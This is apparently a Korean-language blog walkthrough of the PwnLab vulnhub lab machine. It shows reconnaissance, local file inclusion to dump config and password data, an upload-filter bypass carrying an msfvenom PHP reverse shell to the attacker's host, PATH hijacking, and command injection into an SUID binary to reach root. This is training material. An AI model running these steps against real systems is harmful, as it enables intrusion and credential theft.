[분석환경]
VMware 2017 Pro
Kali Linux 2020.01[분석도구]
1. netdiscover
2. nmap
3. python
4. msf(metasploit)
5. nikto
6. burpsuite
1. netdiscover
타겟 서버를 발견합니다.
2. nmap
네트워크 스캔을 통해 열린 포트 및 서비스를 확인합니다.
nmap -sC -sV 192.168.47.162
스캔 결과로 80(http), 3306(mysql)포트가 열려있고 서비스가 동작중임을 확인합니다.
3. 80/tcp 접속
웹 서비스가 실행중이므로 브라우저에서 접속하여 사이트 구조를 파악합니다.
Home, Login, Upload 메뉴로 구성되어 있으며 Upload는 로그인 이후에 접근이 가능합니다.
로그인 폼은 SQLi 공격이 유효하지 않고 올바르지 않은 계정 입력 시 계정이 잘못되었다는 에러페이지로 리다이렉트 됩니다.
4. nikto
웹 페이지에 대한 좀 더 자세한 정보를 얻기 위해 nikto를 사용합니다.
nikto -host 192.168.47.162
실행 결과로 Apache버전을 확인하였습니다.
/config.php가 노출되어 있습니다.
/images 경로에서 디렉터리 리스팅이 발견되었습니다.
/icons/README 파일이 존재합니다.
5. PHP LFI(config.php)
페이지 전환을 ?page=login, home, upload 방식으로 하고 있어 LFI(Local File Inclusion) 취약점이 존재합니다.
알려진 구문을 사용하여 config.php 파일에 접근합니다.
curl http://192.168.47.162/?page=php://filter/convert.base64-encode/resource=config
결과로 base64로 인코딩된 php 소스코드를 확인할 수 있습니다.
PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+
디코딩한 결과는 다음과 같습니다.
echo base64문자열 | base64 -decode
파일의 결과로 DB 접속에 사용되는 계정정보를 확인합니다.
username은 root / password는 H4u%QJ_H99 / DB는 "Users" 입니다.
6. MySQL
획득한 계정으로 MySQL DB에 로그인합니다.
mysql --user=root --password --database=Users --host=192.168.47.162
DB를 확인하여 사용자 계정과 base64인코딩된 패스워드 정보를 확인합니다.
user | pass(encoded) | pass(decoded) |
kent | Sld6WHVCSkpOeQ== | JWzXuBJJNy |
mike | U0lmZHNURW42SQ== | SIfdsTEn6I |
kane | aVN2NVltMkdSbw== | iSv5Ym2GRo |
7. PHP LFI(upload.php)
5번 과정과 동일한 방법으로 upload.php의 코드도 확인합니다.
http://192.168.47.162/?page=php://filter/convert.base64-encode/resource=upload
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
코드를 확인해 보면 파일 업로드 시 확장자 기반, mime 타입 기반으로 업로드되는 파일을 필터링 하고 있는 것을 확인 할 수 있습니다.
8. PHP LFI(index.php)
http://192.168.47.162/?page=php://filter/convert.base64-encode/resource=index
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
COOKIE 세팅 시 'lang'이 설정되어 있다면 인자 값 검사 없이 include를 실시하고 있으므로 취약한 코드입니다.
공격자는 고의적으로 헤더의 쿠키 값에 lang 을 세팅하고 웹쉘.php를 전송하여 타겟에서 리버스쉘이 연결되도록 구성할 수 있습니다.
9. File Upload
리버스쉘연결을 위한 웹쉘을 업로드합니다. upload.php의 파일 필터링을 우회하기 위해 파일의 가장 앞부분에 GIF98을 추가하고 웹쉘을 구성합니다.
echo GIF98>shell.gif
msfvenom -p php/meterpreter\_reverse\_tcp LHOST=192.168.47.143 LPORT=1234 >> shell.gif
파일을 업로드하고 서버에 업로드된 경로를 확인합니다.
10. Reverse Shell
[8]에서 확인한 취약점 발생 위치에 경로를 입력하여 웹쉘이 실행되게 한다.
칼리에서는 응답포트에서 쉘 연결을 대기한다.
nc -lvp 1234
11. Overriding CAT command
[6]에서 확인한 'kane'의 계정으로 su 가 가능하며 홈디렉터리로 이동하여 어떤 파일들이 있는지 분석한다.
SUID가 설정된 msgmike 파일이 있음을 확인할 수 있다. 파일의 소유자는 mike이다.
kane 계정으로 msgmike를 실행하면 cat이 실행되면서 파일을 찾을 수 없다는 에러가 나타난다.
환경변수 설정을 변경하고 새로운 cat을 생성(overwrite)하여 cat 바이너리 실행 시 /bin/sh이 실행되도록 한다.
먼저 cat 바이너리를 재구성한다.
echo "/bin/sh" > /tmp/cat
chmod 777 /tmp/cat
다음으로 환경변수 설정을 변경하여 기존 cat 바이너리보다 새로 구성한 cat 바이너리가 우선하여 실행되도록 한다.
export PATH=/tmp:$PATH
그 후 ./msgmike를 실행하게 되면 cat 대신 새로 구성한 cat 이 실행되면서 mike의 쉘을 획득할 수 있다.
12. FORMAT STRING
mike의 홈 디렉터리로 이동하여 소유자가 root이고 SUID가 설정되어 있는 msg2root 바이너리를 확인한다.
바이너리 실행 시 사용자 입력 값을 받고 있음을 확인할 수 있다.
strings 명령어로 코드의 일부를 확인할 수 있으며 포맷스트링(%s)을 사용하여 입력값을 받고 있음을 확인할 수 있다.
"출력할 문자열";(명령어) 의 사용으로 쉘을 획득할 수 있다.
123;/bin/sh 을 통해 root 쉘을 실행시킨다.
13. FLAG!
/root 디렉터리 이동 후 flag 출력!
'Wargame & CTF > Pentest' 카테고리의 다른 글
[vulnhub] Tr0ll: 1 - writeup (0) | 2021.03.19 |
---|---|
[vulnhub] kioptrix level 2 - walkthrough (0) | 2021.03.05 |